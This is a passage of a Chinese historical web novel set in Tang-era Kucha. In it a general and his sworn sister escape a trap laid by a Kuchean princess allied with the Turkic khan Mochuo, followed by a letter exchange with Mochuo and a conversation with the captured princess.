长安城中的那些贵人,上到天子,下到小民,有不少人都热衷佛道之事。洛北在安西整顿昭怙厘寺这样的大寺——即使有寺中僧人勾结突厥的大罪,也难免会招来攻击,阿史那献这样做,显然是要代他担这个责任了。 洛北心中一暖,笑道:“多谢父亲。” “那二百八十多号假僧人,持有武器的,羁押起来。没有武器的,就遣散回家吧。”阿史那献转向裴伷先:“若年过七十,不能回家务工务农的,让昭怙厘寺出钱,把他们的度牒补上。” “是。”裴伷先躬身领命。 这一通折腾完毕,再从佛窟中出来之时,已经到了正午。阳光璀璨,洒在东川之上,折射出淡淡的色彩。几人对视一眼,都有恍如隔世之感。 裴伷先还要去昭怙厘寺中梳理工作,先一步请辞离开,又留下洛北和阿史那献两人缓步在木栈道上。 阿史那献有心开解洛北,笑道:“今天天气这样好,我们出城去跑跑马吧,叫上褚郡君一道,如何?” “好啊。”洛北笑道:“我离开西域也差不多一年了,也想听听父亲这里的新闻。” 阿史那献自然不会相信他对西域发生之事一无所知,不过还是笑着开口: “其实没有什么新鲜事,就任以来,我所做的事情不过是效仿苏定方将军和你昔年的故智,通道路,复邮驿,收骸骨,复生业。括还昔年被突骑施劫掠的各族奴隶” 他们一路闲聊,一路回了洛北的住处。洛北伸手招来一个仆役,让他去请褚沅出门。谁料那仆役打量了他和阿史那献一眼:“回禀两位将军,褚郡君被请到宫中做客去了。” “请到宫中做客?!”洛北不禁提高声音又问了一遍。 “是,”仆役缩了缩脑袋:“本来郡君自己也没打算去。奈何宫中三催四请,最后是王后娘娘和公主殿下一起来了,她才登车出门的。要不,我这就派人去宫中请她回来?” 洛北轻轻摇了摇头:“你现在去宫中,也不能把她救回来了。” “将军的意思是说” “这是个圈套。”洛北呼了口气,到了这个时候,他竟有一种奇特的镇定感: “要解这个圈套,只有一个办法,就是闯进去。” 第157章 “你以为西域还有人会认不出你这双金色的眼睛吗?” 纵然洛北的亲军已经全盘接手了昭怙厘寺, “婆罗陀”酒肆之中的乐舞与喧闹也没有片刻停歇。 洛北已将头发编成辫发垂在脑后,换了件锦袍,重新扮作突厥武士的模样, 大步踏入了酒肆之中。 一片昏暗的酒肆之间, 只有一束光打在圆厅中翩然起舞的舞姬身上,她正一边跳舞,一边把身上的的金银挂饰、彩色纱巾一一地扔出去,围在她周围的那些醉醺醺的胡人便一边伸手去接那些挂饰,一边闹哄哄地笑。 洛北别过脸去, 一个圆滚滚的粟特人坐在酒柜后头,正举着一个银壶往杯中倒酒。几个头戴纱巾的胡姬用托盘端过几只杯子,扭着舞步似的身段, 挤过人群,走到各处的包间之中去了。 洛北猜到此人就是裴伷先之前所说的那个粟特人康无量,他挤过人群, 站到酒柜边, 从怀里拿出一片金叶子和腰间挂的羊皮酒囊一起放在桌上。 金子的闪光吸引了康无量的目光,他立刻从那边走过来,把金叶子拿在手里看了又看,确认是真, 才拿起柜下珍藏的金瓶,往羊皮酒囊中倒酒:“客人从哪里来?到哪里去?” “碎叶。”洛北刻意说了一口西突厥腔调浓郁的突厥话, “至于去哪,现在还不知道。我打算找个商队往西走。” “往西走?”康无量伸出戴满宝石戒指的手,替他把羊皮酒囊的瓶口紧了紧, 又推给他一杯满是酒液的酒杯:“你们突厥人的英雄,伟大的乌特特勤不是马上要去碎叶城吗?你为什么不去投奔他?他可是个很有名望的王子, 也是战无不胜的将军。” 洛北轻轻笑了一声,他端过酒杯一饮而尽:“或许吧,但我听说他御下很严,不许随意见血。像我这样的人,是没法在他手下过活的。” 康无量撇了撇嘴,又一个嗜杀如命的突厥疯子。丝路上多的是这样无所事事的突厥武士。他不愿得罪此人,只得又在他的酒杯里倒上满满一杯: “可惜现在没有多少商队能远行了。昭武九姓那边在打仗,碎叶和龟兹的商人里,最有能力的康孝哲被杀了,他的伙伴也受到牵连” 洛北接过酒杯,依旧一饮而尽:“这酒有点醉人,那我就南下去天竺去哪都行,就是不要再在这西域待着了。” “客人,您喝得太快了。这样喝酒,是一定会醉的。”康无量笑了,他伸手招来一个美妙的女郎,打了个手势,示意她把洛北扶到客房里去:“您去看看跳舞,休息一会儿吧。” 女郎会意,伸出两只鲜藕似的手臂,亲亲热热地搀着洛北的臂膀:“客人,来了‘婆罗多’怎么能不看跳舞呢?” 她一边哄人,一边伸手去解洛北腰间的佩刀。 “别动!”洛北挣开她的手,瞪了她一眼:“不要动我的刀,这是我的家传宝物。” 一边一个正在看歌舞的龟兹子弟嫌这边太吵,转过头来看了洛北一眼,见他衣着朴实,没有什么出挑之处,忍不住“啧”了一声: “你们这些突厥人,十个里有八个是这样的说辞,什么家传宝刀,能值几个钱?我打赌你身上连十两金子都没有。” 女郎匆忙挤到他们中间,娇娇柔柔地笑了一声:“贵客,贵客,何必为了这样的小事起争执?” 洛北被她一挤,险些没站住,他轻轻一跳,稳住身形,看向那龟兹人:“你说什么?” “我说的难道不是么?我打赌你这辈子都没上过二楼。”龟兹人站起身,从怀里掏出一枚名贵的夜明珠:“好了,这儿的歌舞我看够了,我要去二楼玩些新游戏了。” 立刻有等候多时的年轻女郎,毕恭毕敬地收过夜明珠,带着那龟兹人登上二楼。他故意从洛北身边挤过,留给他一个不屑的背影。 “什么二楼?”洛北皱了皱眉,问替他引路的女郎。 女郎笑了笑,推他到一端的软垫上坐下,台上的舞姬正和着乐音旋转扭摆,自然而然地撩拨着人心:“不过是新的乐舞地点罢了,客人不必在意。” “要去那里,得多少钱?”洛北打了个大大地哈欠,揉了揉眼睛问。 女郎仍在赔笑:“客人有所不知,我们一般不让第一次来这里的客人上去的。” 洛北冷哼一声,从怀里掏出一只金锭砸在地上:“够么?” “客人” 洛北见那女郎犹有为难的神色,又摸出了一只金锭: “现在呢?” “带他去吧。”康无量远远地发了话。 那年轻的女郎躬身一礼,引着洛北上了二楼。 二楼的鼓乐与一楼有所不同,更像是佛家乐曲混杂了世间伎乐,形成一种悦耳而高亢的曲调。一组组闪闪的烛火组成灯轮,挂在四角。四周的墙壁上绘满了壁画,那些壁画大都以美人为主题,一个个半裸的女郎正在墙壁上飘舞奏乐。墙下,那些舞姬们也裸着上身舞蹈,她们围着与壁画上的飞天一样的衣裙,还有一模一样的排箫和琵琶。 几个包间里,不少人都围在桌前赌骰。洛北与他们错身而过,正看到那个与他发生几句口角的龟兹青年在人群中,他捏着一串玉珠串,几近忘情地喊着:“大!大!” “这是什么赌局?”他低声问那女郎。 “只有赢了赌局的人才能上三楼。”女郎低声答他:“三楼才能看到飞于半空的乐舞,真正的飞天乐舞。” 洛北似笑非笑地看了她一眼,他琥珀色的眼眸在灯火下显出一种璀璨的金:“真的?” “是,是,是真的。”女郎匆匆把眼睛低了下去。 “那我可一定要去看看。”洛北站起身,走到那个龟兹青年所在的桌子前面。 这是一共三个骰子的赌大小游戏。四到十称作小。十一到十七称作大。 上一轮赌大小是以“小”结束。那龟兹青年输了大一笔,把手中最后一串宝石项链押到了“大”上:“连着三回‘大’了,我就不信这回还是‘大’!” 人们听他说的有理,不少人也把筹码押在“大”的那边,还有些人固执己见,依旧放在“小”的那边。一阵混乱之后,桌边只剩下洛北一个人还未出手。 那摇骰子的美貌女郎笑吟吟地望着他:“公子打算押哪边?” 洛北从腰间摘下一只玉佩,放在了“小”的那边:“我赌这一局是围骰,三个三。” “你好大的野心啊,想靠这一局就上三楼去吗?”那龟兹青年开口笑他,“我会玩骰子的时候,你还没生出来呢。” “公子确定?”女郎问。 “是。”洛北将双手傲然反剪在身后:“请开局吧。” 那女郎颔首,用骰盅收走桌上的三枚骰子,放在手中摇晃起来。她将骰盅滚过浑圆的肩背,顺着手臂一路落回桌上,再单手开了骰盅: “三个三!小!公子赢了!” 洛北勾了勾唇角:“那我是否可以上三楼去了?” “是。自然是。”那替他引路的年轻女郎向他欠了欠身:“这里所赢的赌资我们会替公子记在账上,等公子离开时,可以一并拿走。” “好。”洛北跟在她身后,再度登上阶梯。走了半层,一股温柔的香气就飘了下来。女郎顿住步子:“剩下的路,我就不能上去了,请公子自便吧。” 洛北点了点头,自顾自地登上三楼——三楼很暗,只能靠地板四周的明珠照亮。窟顶是穹顶模样,上嵌许多宝石和钻石,正在这一片幽暗之中,静静地发着光。 洛北移步踏入那片昏暗之中,他身后的光线也被突然垂下来的帘幕挡住了。幔帐低垂之间,只有那些宝石和明珠的光隐隐地透过来。洛北一手按在刀柄上,一手推开重重帘幕,缓步向里走去。 四周静悄悄的,什么声音也没有,甚至连楼下的乐声也没有飘上来。洛北小心地移动着,忽而,他觉得脚下一空,似乎是踩到了什么东西——然后他就摔倒在了什么软软的东西上。 没等他反应过来,那软软的东西承载着他的重量腾空而起,一路到半空中才停下。借着穹顶上宝石的光辉,他看到自己正处在一片精美的波斯绣毯上,这绣毯既厚且大,可以容纳十余人同坐,在它的四角各绑着一根漆成黑色的绳索,这些绳索自毯子下方来回穿过,成为一张厚密的绳床——它们都被厚重的流苏掩住,无论从哪里看,都看不出异样。 “这就是所谓飞天舞姬的秘密。”洛北自言自语,“没有什么飞天术,只有障眼法。” 一阵掌声,由远及近地响了起来。一个披着黑袍的人,戴着面具的人站在下面望着他:“站在那里,感觉如何?”他的声音有种诡异的沙哑感,像是毒蛇在吐信子。 洛北歪了歪头:“这毯子受力很不均匀,能站在这种地方跳舞的舞姬,一定很不容易。” 那黑袍人冷笑了一声:“伟大的乌特特勤什么时候有了这种怜香惜玉的雅兴?” 洛北道:“我从未说过我就是阿史那乌特。” “乌特特勤,你太低估自己了。”黑袍人道:“你以为西域还有人会认不出你这双金色的眼睛吗?” 洛北轻轻笑了:“既然你已经认出了这双金色的眼睛。那你也一定听过那个传说吧?” 传说乌特特勤的母亲是个阿史德家族的女巫,她以秘仪把自己献给了伟大的祆神。祆神怜悯她的儿子,于是赐给他一双看破一切的眼睛。 “又何必在这里装神弄鬼呢,公主殿下。” 第158章 大汗用黄金万两买你的脑袋,我只能借你的脑袋一用了。 黑袍人的身影顿住了, 她忽而直起身,扯下黑袍,露出那张明媚动人的美丽面容, 棕色的眼眸中燃烧着熊熊烈火: “你果然名不虚传, 阿史那乌特。” 洛北问:“默啜给了你什么许诺?龟兹?安西四镇?他的儿子刚刚在西域败完了五万大军,你确定他有能力兑现吗?” “我恨你的自以为是。”公主轻轻地笑了,像一朵妖媚的花,“男人的自以为是。你们以为可以操纵一切,不错, 他是许诺了我一些什么但我不指望他能够兑现,我要的也不是那些东西。” 她慢慢地抬起眼眸,望着洛北:“我从来没有从这个位置看过男人, 真有意思阿史那乌特,有没有人说过,你生得很英俊?” 洛北轻轻地叹了口气:“褚郡君在哪里?” “我可以让她来见你, ”公主轻轻的, 用柔美的声音道:“但我要你为我做一件事情。” 她后退半步,坐到日常来饮酒的那些客人们所坐的软榻上,好整以暇地看着洛北:“把你的武器丢下来。” 洛北解开腰间悬挂的唐刀,轻轻一抛, 将它抛到了另外一边的软榻上,而后是蹀躞带上悬挂的金刀。 “帕罗耶。”公主轻轻击掌:“请你把那个女人带出来吧。” 自洛北踏入酒肆来就一直与他对顶的那个龟兹青年踩着胡旋舞的曼妙步子登上了场。他三步一退, 五步一转,就好像在这静谧的室中还有只有他能听到的龟兹乐的鼓点。 褚沅被他扛在肩上,机械地随着他的摇摆上下起伏, 生死不知。 洛北厉声喝了一句:“停下!” 帕罗耶斜斜地望了他一眼:“好像现在你才是那个阶下囚吧,大唐都护, 你有什么资格命令我?”他用一种甜得发腻的目光看着公主:“公主殿下才是我的主人。”他继续往前跳了一步,就像那舞步永无休止。 洛北无奈地把目光重新投回公主身上:“让他停下来。” “可以。”公主依旧望着他,没有肯把目光从他身上挪走半分:“但我还是要你为我做一件事。” 她用涂着丹蔻的手指点了点自己的外袍:“把你的衣袍脱掉。” 洛北怔了一怔,自踏进这间酒肆以来,他的脸上第一次露出错愕的神色,而后他忍不住微微弯了弯唇角:“这真是太可笑了” “脱掉!”公主用近乎尖叫的音量打断了他的感慨:“不要露出那种神情,我讨厌你那种什么都知道的样子。你自以为无所不知,无所不能,但现在还不是要受我的摆布吗?” 洛北几不可见地摇了摇头,他解开衣袍,一并丢下地面,露出精壮的腰身:“现在可以让你的人把褚郡君放下来了吧?” “可以。”公主伸出纤纤素手,向远处的帕罗耶招了招手:“过来,帕罗耶。” 帕罗耶一召即至,他在公主唇边偷了个吻,才把褚沅丢在地上。褚沅依旧在昏迷之中,只有在头磕到地面时才下意识地蜷起身。 洛北叫了她一声:“沅儿!” “你的那些对手都应该看看你脸上的神情惊慌失措。”公主笑了笑,用脚尖踢了踢褚沅的小腹:“别担心,她还没死呢。” “你给她喝了什么?”洛北问公主:“你也曾经给你的父亲喂下一样的东西吧?殿下。” “父亲那个老东西,他不配做父亲。”公主娇媚的面容忽而扭曲起来:“他想过锦衣玉食的生活,就用自己女儿的身体去献媚那些人他老逼我去昭怙厘寺,啊佛家清净之地,真是一派胡言!你为什么不一把火把那里烧掉!” 洛北道:“所以你有意让白迦叶在晚宴上死去,为的就是让我揭开昭怙厘寺与默啜勾结的真相。你想逼我灭佛。” “反正那些秃子也不会服从你的统治,他们承认了你,就等于承认了祆神的权威,是吧,伟大的,祆神化身的,乌特特勤。”公主咯咯地笑了几声:“如果我是你,我就会把他们都杀光——” 她说着说着,似乎是沉醉于尸山血海的狂想,终于忍不住轻轻笑起来,这轻笑逐渐变为一阵疯狂的大笑,最后她俯下身去,笑得连腰都直不起来了。 洛北垂眸望着她纵情狂笑,像一尊无害的佛像。 公主抬头望见他无悲无喜的眉眼,挫败地一挥袖子: “不要,不要用你的那种目光看着我!怜悯,同情?我最不需要的就是怜悯和同情!收起你的仁慈,我才是这里的主宰,你现在是我的手下败将——你!” 洛北以目光迫使她与自己对望,成功地把她的嗓音压在了喉咙里,他轻轻地,缓缓地开口: “我同情你,是因为你想把你经历过的一切加诸我身,然后以此来羞辱我。但你不能如愿,因为我不会对此感到耻辱。” 他以体重压下半边波斯毯,伸手碰了碰公主的脸颊:“哪怕此刻是我在台上,你在台下,也一样。” 公主愤恨地挣开他的手:“收回去,狗东西,你”她似乎想了半天,也没找到合适的词汇来骂他,只得冷哼一声,唤起一边的侍从,“帕罗耶,你的刀子呢,拿出来,我要给这个自命不凡的人一点教训。” 她接过帕罗耶手中递过来的刀,白刃一横,架在褚沅的脖颈上:“你很珍爱她吧?在长安城里,你愿意拿自己的军功和爵位来和天子换她的性命,伊逻卢城里,你为了她才心甘情愿地踏进我的圈套。现在呢?你愿意拿什么来和我换她?” 洛北低垂眼眸,似乎真的在思考这个问题,半晌之后,他才抬眼问公主:“你要我拿什么来换?” “你自己的性命。”公主笑着道。 “可以。”洛北立刻答应了她,没有丝毫犹疑。 公主本想笑他的虚伪,听他真的答应,反倒有点急了,她瞪大双眸,不可置信地望着洛北:“你愿意?!你疯了,你为什么” “没有为什么,”洛北打断了她喋喋不休的发问:“给我一把匕首,我答应了你的条件,你应当履行诺言。” 公主气得浑身发抖,倒是帕罗耶不解风情地从地上拾了洛北自己的那把金刀,丢上波斯毯:“给你!” 他脸上骄傲的笑容还未消失,就被公主一巴掌扇歪了脸:“谁许你轻举妄动!你疯了?!” “但他碰你的脸,公主殿下,难道他不该死吗?”帕罗耶反倒与她争辩。 洛北不得不轻轻咳嗽一声,才把他们的目光重新引到自己身上:“公主殿下,我已经答应了你的条件,在我赴死之前,我希望你能望着我的眼睛,告诉我,你会履行诺言。” 公主重重地喘了两口气,才抬头看向他那双金色的眼眸:“你你为什么非要这样做?” “这是一个秘密。”洛北轻轻地笑了,他反手将刀尖对着自己的胸膛,挥手作势要刺—— 下一刻,金刀自他手上挥出,削断了支撑波斯毯的一根绳索,直直地钉在墙上,发出一声轰鸣。 公主错愕地抬起头,还未张口说些什么,手上的匕首已被另外一人反手夺下。 褚沅夺过匕首,抬膝飞腿重重地踢开公主,错身避开帕罗耶扑来的一刀,双手撑过地面,打了半个倒手翻立住身形,将手中匕首向前一掷,正中帕罗耶喉管。 “你——”公主要说什么,那染过人血的匕首已经抵在了她的颈间,正往下汨汨地流血,温热的血,“你没有中毒?” “就你那点曼陀罗种子泡的酒就想迷倒我,你也太小看我,不,太小看大明宫了。”褚沅轻轻一笑,“别乱动,殿下,我不像你们龟兹人那么善于用匕首,要是紧张了,手会抖的。如果一不小心能划破你的喉管,倒也一了百。可要是在你这漂亮的脸蛋上留了几道血痕——我心何忍?” 公主的声音几乎带着哭腔:“你也是个疯子!” 褚沅冷笑一声,微微地动了动手臂,用匕首在公主脖颈上留下一道血痕:“你话太多了,殿下。” 公主感到鲜血在顺着脖颈流下,立刻不敢再动。她望着洛北从波斯毯上一跃而下,重新穿上衣袍,又把唐刀和金刀都挂在腰间,还是忍不住开口: “你出不去的,康无量早在外面埋伏下了三十个精干的粟特武士,他们” 洛北歪过头,理了一下自己的衣领:“我知道。”他拔出那把陨铁唐刀,看向褚沅:“沅儿,一会儿你躲在我身后。” “阿兄放心吧。”褚沅横手一劈,把公主敲晕,半扶半抱地把她揽在怀里,向洛北点头示意。 他拔出那把陨铁唐刀,削断了低垂的帘幕,带着褚沅走出昏暗的三楼。 原本喧闹的二楼已经空空荡荡,好像在嘲笑什么。洛北摇了摇头,带着人下到一楼,果然,那些身形高大,勇悍异常的粟特武士已经持刀守在了楼梯口。 “怪不得默啜大汗要我一定准备好三十个武士。”康无量鼓着掌,从柜台后缓慢地走了出来: “能破这个圈套,乌特特勤果然是乌特特勤。可惜啊,大汗用黄金万两买你的脑袋,我只能借你的脑袋一用了。” 洛北反手握着唐刀,言笑晏晏地看着他:“康无量,默啜那个人我比你了解,黄金万两的悬赏你也敢要,不怕有命领没命花?” “不怕。我们粟特人是及时行乐的民族。只要让我看到那黄金,让我摸上一下,哪怕就一下。我也愿意为它而死。”康无量陶醉地道。 洛北笑了:“是么?”他侧身一蹬楼梯,身形如同鬼魅,飘忽而出,刀光一闪,两个离他最近的粟特武士已经倒在了地上,脖颈血流不止,染红了大半个地面。 康无量的脸一下子白了:“你” 洛北反手持刀,横在身前:“他想要为默啜的金子孤注一掷,剩下的人呢?你们甘心做他的垫脚石吗?就像这两个倒霉鬼一样?” 第159章 透过这神采飞扬的文字,他几乎能看到挚友狡黠的笑颜。 粟特武士们看着他, 没有人立刻接话。 洛北扫了他们一眼,把他们的犹豫、迟疑以及恐惧都收入眼底: “伊逻卢城是大唐治下的安西首府,酒肆外有我的三千精兵, 你们应该知道如何审时度势。放下武器, 我给你们一人黄金十两作为补偿。” 站着的粟特武士已有人动心了,他们本就是拿钱行事的雇佣兵,谁也不想把脑袋留在这异国的土地上。他们互相交换眼神,有人甚至不甘心地咽了口吐沫,高声叫道: “将军, 我们凭什么相信你?凭什么相信你会给我们金子,而不是让你的亲兵把我们都杀光?” 洛北傲然道:“就凭我是阿史那乌特!” 他说罢,将唐刀收回刀鞘, 向前迈出一步,几乎要撞上面前那个粟特武士的刀口。 那武士下意识地后退一步。洛北毫不犹豫,立刻再向前走了一步。 咣当一声。人群中已有人将兵器丢在了地上, 那丢弃兵器的粟特武士率先向这位年轻的将军低头, 而后是第二个,第三个…… 在一片连绵的兵刃之声中,康无量深深地叹息一声,他望着洛北带着褚沅与公主穿过众人的背影, 几乎已经可以看到自己那远在于都斤山下的主人的命运—— 再兴突厥,一世英明的默啜大汗终将会败亡在他曾经的下属, 那个被传为是祆神化身的青年手中,连带着突厥汗国一起土崩瓦解。 洛北推开酒肆大门,最先迎上来的是龟兹王白莫苾, 他见到洛北,高兴得跳了起来:“大都护!大都护!洛将军出来啦!” 洛北循着白莫苾回头的目光望去, 这条繁华的街道已被身着铠甲的大唐士兵站满,阿史那献身披轻甲,手执兵刃,正站在百步开外的地方向这边望。 “父亲。”洛北躬身向他道礼,“幸不辱命。” 阿史那献快步走过来,把洛北上上下下地打量一番: “没事就好。” 他又把目光投向褚沅:“褚郡君安好?” 褚沅没想到他还会问候自己,忙低身道了个万福:“承蒙大都护记挂,一切安好。” 洛北见他俩半生不熟的尴尬模样,笑着起了个话头: “父亲有所不知,我们能从这酒肆中全身而退,还多亏了褚郡君身手敏捷……我与褚郡君相认多年,这还是第一次看到她动手呢。” “是么?”阿史那献挑眉看向褚沅,“褚郡君也懂武艺?” 褚沅微微涨红了脸:“阿兄,大都护不要误会,我不是有意隐瞒……” 洛北笑了笑,把交谈中的两人丢在一边,自己找到了正在檐下看戏的裴伷先:“我不是说了,一个时辰内没有消息再点兵么?这才过去半个时辰,哪里至于摆出这么大的阵仗?” “别说半个时辰了,你刚进去一刻钟不到,大都护就叫点兵了。要不是我们拦了又拦,他早命人撞门了。说到底,还是你太冒险了……” 裴伷先本又要劝他几句,见他已将目光扫了过来,慌忙换了话头: “我知道,你担忧消息传得太快跑走了城内的乱党,放心吧,我已命人把住城内各门及各处关卡,不会让他们跑出去的。” 洛北见他有了预备,神色稍霁,才有心思与他讨论起另外一桩事情: “默啜对此事参与极深,可此地离突厥牙帐近千里,中间还隔了个北庭都护府,他不会以为自己的军队可以日行千里吧?他想干什么?” 裴伷先见他神情犹豫,知他作难——洛北做了多年默啜大汗的书记官,也是默啜的谋主,连他都猜不透默啜此举的用意,那旁人就更不用说了: “或许是公子多想了,默啜只是想给我们找些麻烦呢?” “倒也可能是……但这不是默啜的风格啊。”洛北苦思冥想,也没想出个所以然来,“罢了,康无量就在酒肆之中,我们先好好审他一番……” 他推开酒肆大门,声音戛然而止。 那圆滚滚的粟特人康无量已经抹了脖子,倒在一片骇人的血泊之中,一双眼睛不肯闭上,犹自望着门外的方向,气管里发出咯咯,咯咯的声响。 洛北神情一动,快步走到他身边,一摸他的脉搏,便知已是无力回天。 康无量呼尽胸中最后一口气,无力地歪头而去。 洛北伸手替他合上双目,在他的衣襟中搜到了两封信,一封信是默啜写给康无量的,要他“务以经营为重,不要急于求成。” “没想到,这表面贪财的粟特人竟会是个死士……”裴伷先皱着眉读完默啜的信,不由得长出一口气,“他为默啜做事,竟是为了报答默啜把他从奴隶变为平民的恩情。哎,公子,公子?” 洛北手中抓着另外一封信,正在凝神远望,见他出言相问,才将那封信递给裴伷先:“还有一封信是默啜写给我和父亲的,你看看吧。” “写给你和大汗?”裴伷先有些好奇地接过信,低头一读,眉心就忍不住凝了起来。 那是一封以突厥文字写成的华美篇章: “我,如天一般的,由天所生的突厥可汗阿史那环,向我迷途的兄弟问话。 我本是唐人的臣民,只是颉利可汗的族人,出身卑微,只有“啜”的官衔,我因反对唐人的暴政,才愤而起兵,帮助我们的族人摆脱唐人的统治。 而你,你们是室点密大汗的嫡系子孙,流淌着神狼的高贵血统,你们却忘记了与生俱来的责任,你们甘愿成为唐人的臣民,提领部众聚在染满了突厥人鲜血的唐人旗帜之下,为他们征服我们曾经的领土。 你们可曾想过,祖先的灵魂在高山之上望着你们,他们正在为你们的背叛哭泣? 迷途知返吧,你们应当归来,应当组织起你们的民众,让我们去夺取曾经有国之人的国土,俘虏曾经有可汗之人的可汗,令强大的敌人屈膝,高傲的敌人俯首。 这是阿史那子弟应有的权力,是上天赋予你们的神圣职责,倘若你们顺应上天的号召,我愿将突厥大汗的王冠相让,把东西突厥重汇于一位伟大的可汗手中。” 裴伷先读完这篇像长诗一样的信件,忍不住抬头望向洛北。他目光悠远,正虚虚地望着某个方向,似乎在与默啜对话。 “公子……”裴伷先忍不住喊了他一声。 洛北收回外放的思绪,轻声道:“不必担忧,伷先,我已经想好了给默啜的回答。” 半月之后,来自西域的使者拜访于都斤山下的突厥牙帐,为默啜带来一件物品。 那物品是装着康无量骨灰的瓷坛,洛北已按照祆教的仪式为康无量举行葬礼,愿他的灵魂在圣火之中得到宽恕。 随着瓷坛而来的,还有一封信。信件的字迹默啜再熟悉不过……过往的数年之中,从突厥牙帐发往各地的命令都是用同样的字迹写成的。但他一读信件的内容,忍不住气得暴跳如雷: “自天可汗征服了天下四方的所有民族,突厥人亦愿成为大唐臣民。自那之后,我们受命执政,为天可汗牧守边疆,养育组织天下民众。 你虽为颉利可汗的族人,偏远旁支的阿史那子孙,但也恪尽职守,为大唐讨平东方,平定契丹。 大唐皇帝赐于你珍宝和族人,把你的女儿许为自己的儿媳,让你的儿子成为守卫宫廷的将军,正是承认你的功绩,并不因为你是旁系的血脉就轻视你。 如今你坐镇于都斤山,我父子坐镇金山,已经同心为大唐效命,何必再决出一位突厥大汗呢?” “真是混账!混账!”默啜气得拍了桌子,吓得牙帐中人人噤声,生怕触怒了他,“我要提高他脑袋的悬赏,我要派出汗国的勇士去杀了他!” “我叔可汗,此事还是从长计议的好吧?”默矩忍不住开口劝谏,“乌特他执掌一半的安西兵马,身边亲军侍卫环绕,我们不能……” “默矩!你这是什么话?!”拓西可汗阿史那匍俱与他争锋相对,“难道汗国之中,就没有人能赢得了他吗?!” “哦?那我倒要请教你,你是怎么向人家送出了五万大军和金山的广袤土地的?” 牙帐中吵成一片,默啜几度要压住局势,却没有办法开口,最后还是靠拍桌子把这喧闹镇压下去: “不要再吵了!都给我滚出去!” 阙特勤走在最后,他态度谦卑地从默啜手上讨来了那封“大逆不道“的回信,迎着冬日的阳光又读了一遍,虽然已经分立两边,他也忍不住为这巧妙的回应感到高兴,透过这神采飞扬的文字,他几乎能看到挚友狡黠的笑颜。 “阙特勤。”默啜在他身后叫住他,“我的儿子不是乌特的对手……你知道的。” 阙特勤顿住步子,恭敬地等他的下一句话: “所以,等到开春,你与阿史那匍俱换防。你到西边去,换阿史那匍俱镇守契丹。我封你为西面‘设’,统领汗国在西域的全部兵马。” 阙特勤没有笑:汗国在西域的全部兵马大多在此前一战中成了洛北手下的亡魂,但东边镇守契丹的军队可是他自己带出来的百战之军:“大汗,我……” “还是不愿意和昔日的挚友刀兵相向吗?”默啜眯起了眼。 阙特勤知道他会扣什么帽子在自己头上,只得躬身领命:“不是,大汗误会了。” 他抬头看着默啜,勉强挤出个笑容:“既然大汗有命,那我遵命就是了。” 第160章 “现在……轮到你注经典了。” 除夕夜的前一日, 伊逻卢城又下起了纷纷扬扬的大雪。王宫外的高塔之上,来客抖落一身新雪,向守卫的士兵微微颔首。 “怎么会是你?”公主本已从床榻上起身, 用指尖拢了拢长发, 见到来人,又懒洋洋地倒下去:“阿史那乌特呢?他不敢来见我?” 褚沅反身合上结实的木门,将一提篮的菜肴点心摆在桌前,提起莹白的瓷瓶,往两只杯中倒满了酒: “阿兄本来要来见你, 是我半路截了胡。”她坐在妆台前的绣礅上,望着床上的公主:“我想,我同你聊一聊更合适。阿伊娜。” “你的阿兄……原来是这样。”阿伊娜睁开眼睛看了一眼褚沅, 忍不住嗤笑了一声,“别人的兄长,为了自己的妹妹连命都可以不要。我那个哥哥呢?西域一定, 他就忙不迭地把自己的妹妹当成礼物送出来, 生怕会惹阿史那乌特不高兴。” “所以你才想杀了阿兄,因为这件事会让你想起过去?”褚沅语气温柔。 阿伊娜公主哈哈大笑:“长安来的褚郡君,你把我想得太好了。你的兄长是荡平西域的英雄将军,是祆神化身的乌特特勤。只要他跪倒在我脚下任我摆布, 那他的那些手下败将……那些向他摇尾乞怜的国王、将军和僧人们,不就成了任我玩弄之物么?” 褚沅神情微动:“哪怕引突厥兵入龟兹, 为西域带来一场更大的动乱,也在所不惜?” “动乱和我有什么关系?!”公主吼道。 褚沅平静地望着她:“你毕竟是龟兹的公主……” “公主?这个公主让给你,好不好?” “小的时候, 我父王说我是诸子女中最美的,要我去昭怙厘寺侍奉佛法。你知道怎么侍奉吗?我在佛前跳舞, 跳和那些舞姬们在酒肆里一模一样的舞。那些人,那些畜生就那样看着我……但我不能拒绝,因为我是公主。” “后来,突骑施人的兵马打了过来。我的父王又把我献出去侍奉他们的可汗,想拿我来换突骑施人对城中秋毫无犯,突骑施人没有答应这个条件,把他杀了,但他们也没有放过我,为什么?因为我是公主。” “最后,你的兄长来了。我那幸存的兄长,又忙不迭地拿我当礼物去送给他。就因为我是公主。” 公主轻轻笑了一声,终于直起身,以极高傲的语调道:“但你的兄长比那些人还要过分……他连见都不见我一面,就让那位监军御史推了这桩婚事,哼,可笑的男人。所以我要治一治他,让他永远记住我。” 褚沅望着她那张美丽的面容,心底忽而泛起一阵悲凉。眼前这个美丽的女郎是在淤泥地里生出的一只罂粟花,她一边怨恨着不能自己决定自己的命运,一边却又已将自己的全部价值寄托在了别人身上——可这难道是她的错么?: “张御史当年拒绝婚事,并不是因为对你不满意。只是他觉得阿兄眼下有更重要的事情要做。”褚沅轻轻道:“比如,西域的安定。” 她从袖中拿出一只木镯,放在了阿伊娜的手上:“这木镯你应当见过吧?” “是酒肆里的那个舞姬,那个……毕姮姬,她的东西。她的男人把她从毕国拐来了伊逻卢城,就给她留了这个,就走了。”阿伊娜哼了一声,“男人……这些负心薄幸的东西,都一个样。” 褚沅点点头:“婆罗多酒肆覆灭之后,这些舞姬因与案情有涉,暂时都由我照管。她知道我今天要来看你,特意把这镯子塞给我,要我带些好酒菜,她说……你对她很好。” “好不好的,我都忘了。”阿伊娜接过木镯戴回手腕上,微微调了下坐姿。 “是么?”褚沅笑了,“但她还记得,她记得她第一天上台,怎么也跳不好舞,差点从台上摔了下来,还是你扶了她,教她跳舞,带她排练。” 阿伊娜虽然不愿,被她温柔的嗓音一引,也想起了之前的事情,神情略微放柔和了些:“那个时候,康无量作威作福,还要拿鞭子打她,还要把她卖出去。我看不惯,就拦下来了,也难为她记得。” “她当然记得,她本来也是豪商家里的女儿。她的父亲有能力组织穿越丝路的大商队,可因为大食人的入侵,她的父亲死了,母亲被掳走,她只能跟着那男人逃了出来,逃到大唐庇护下的西域来。所以她不会跳舞……” 褚沅顿一顿,“若不是你,她或许真的会饿死在街头。” 阿伊娜已经领会了她话里的意思:“你想说什么?” “我想说,这就是和平的价值所在……”褚沅轻声道,“这也是家兄为什么无暇顾及婚事——倘若西域再度动荡,便会有无数像毕姮姬这样的人流离失所,难道这是你想要的吗?” 